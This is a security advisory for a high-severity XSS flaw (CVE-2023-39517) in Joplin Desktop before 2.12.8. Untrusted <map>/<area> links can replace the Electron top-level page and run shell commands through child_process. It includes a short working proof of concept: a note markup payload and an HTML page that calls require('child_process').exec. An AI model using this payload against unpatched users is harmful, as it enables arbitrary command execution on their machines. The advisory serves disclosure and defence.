Skip to content

XSS when clicking on an untrusted `<map>` link

High
laurent22 published GHSA-2h88-m32f-qh5m Jun 21, 2024

Package

joplin-desktop (Joplin Desktop)

Affected versions

< 2.12.8

Patched versions

2.12.8

Description

Summary

An XSS vulnerability allows clicking on an untrusted image link to execute arbitrary shell commands.

Details

The HTML sanitizer (packages/renderer/htmlUtils.ts::sanitizeHtml) preserves <map> <area> links. However, unlike <a> links, the target and href attributes are not removed. Additionally, because the note preview pane isn't sandboxed to prevent top navigation, links with target set to _top can replace the toplevel electron page.

Because any toplevel electron page, with Joplin's setup, has access to require and can require node libraries, a malicious replacement toplevel page can import child_process and execute arbitrary shell commands.

This was fixed in commit 7c52c3e.

PoC

  1. Create a local website that serves the following HTML at 127.0.0.1:8000 (this can be done by running python3 -m http.server from the same directory that contains the index.html file).
<!-- index.html -->
<!DOCTYPE html>
<html>
    <body>
<script>
    // Change `ls -la` to some other command if running on Windows.
    require('child_process').exec('ls -la', (err, stdout) => {document.body.innerText = stdout})
</script>
    </body>
</html>
  1. Create a note with the following markdown:
<map name="redirect">
  <area
    shape="circle"
    coords="0,0,1000"
    target="_top"
    href="http://127.0.0.1:8000/"
    alt="Replace Joplin with a website" />
</map>
<img
    usemap="#redirect"
    src="https://via.placeholder.com/350x150"
    alt="Click me!" />
  1. Click on the rendered image

Impact

This is an XSS vulnerability that impacts users that click on images in the markdown preview pane while viewing untrusted notes while connected to the internet.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L

CVE ID

CVE-2023-39517

Weaknesses

No CWEs

Credits